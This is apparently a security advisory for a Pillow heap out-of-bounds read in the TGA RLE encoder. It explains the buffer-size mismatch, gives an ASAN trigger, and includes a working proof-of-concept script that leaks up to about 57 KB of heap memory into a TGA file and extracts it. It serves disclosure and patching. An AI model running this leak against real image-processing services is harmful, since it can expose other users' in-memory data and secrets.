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GHSA-fj7v-r99m-22gq BIT-pillow-2026-59198 CVE-2026-59198 PYSEC-2026-3494

Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images

High PyPI
Severity
6.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.31%
Chance of exploitation in the next 30 days. Higher than 24.21% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-125 Out-of-bounds Read
Fix
12.3.0
Upgrade pillow to this version or later

Description

Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1" image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

im.save(out, format="TGA", compression="tga_rle")

Older affected Pillow versions use the equivalent public option rle=True.

For mode "1", Pillow allocates a packed row buffer of ceil(width / 8) bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.

The maximum valid TGA width is 65535. At that width:

allocated packed row buffer: 8192 bytes
encoder byte-offset walk:     65535 bytes
maximum OOB window per row:   57343 bytes

On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized 57297 bytes from distinct out-of-bounds source offsets into one returned TGA, covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most 128 bytes each, not one large memcpy().

Details

src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the tga_rle encoder when RLE compression is requested.

src/encode.c:_setimage() allocates the row buffer using the packed-bit formula:

state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);

For mode "1", state->bits == 1.

src/libImaging/TgaRleEncode.c then computes:

bytesPerPixel = (state->bits + 7) / 8;

This becomes 1, and the encoder uses pixel indexes as byte offsets:

static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
    buf += x * bytesPerPixel;
    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}

The packet payload memcpy() later copies those out-of-bounds source bytes into the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy one representative byte:

memcpy(
    dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);

A width-2 mode "1" image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized.

PoC

Minimal ASAN trigger

import io
from PIL import Image

out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage

Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

import hashlib
import io
import PIL
from PIL import Image

WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES

def extract_oob_payload(data):
    i = 18
    pixel = 0
    oob = bytearray()

    while pixel < WIDTH:
        descriptor = data[i]
        i += 1
        count = (descriptor & 0x7F) + 1

        if descriptor & 0x80:
            value = data[i]
            i += 1
            if pixel + count - 1 >= ROW_BYTES:
                oob.append(value)
        else:
            values = data[i : i + count]
            i += count
            oob.extend(values[max(ROW_BYTES - pixel, 0) :])

        pixel += count

    return bytes(oob)


best = b""

for _ in range(ATTEMPTS):
    out = io.BytesIO()
    Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
    oob = extract_oob_payload(out.getvalue())
    if len(oob) > len(best):
        best = oob

with open("/tmp/max_oob_bytes.bin", "wb") as fp:
    fp.write(best)

print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")

Observed on installed Pillow 12.2.0:

Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%

Impact

This is a heap out-of-bounds read and potential information disclosure.

A maximum-width single-row image can cause nearly the full 57343-byte adjacent heap window to be incorporated into one output file.

Affected versions

PyPI

PackageVulnerableFixed in
pillow
>= 5.2.0, < 12.3.0
12.3.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pillow PyPI → 12.3.0

pip
pip install --upgrade "pillow>=12.3.0"
poetry
poetry add "pillow>=12.3.0"
uv
uv add "pillow>=12.3.0"

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
Low

Weakness

CWE-125: Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.
  • Architecture and Design: Use a language that provides appropriate memory abstractions.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
PYSEC-2023-175
Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863).
High Known exploited Also affects pillow
GHSA-j7hp-h8jx-5ppr
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Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()
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GHSA-xvh5-g6gv-559v
Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
High Also affects pillow
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GHSA-9v9v-9qvf-h2hj
Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
High Also affects pillow
GHSA-g4qv-2jxx-769h
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Medium Also affects pillow
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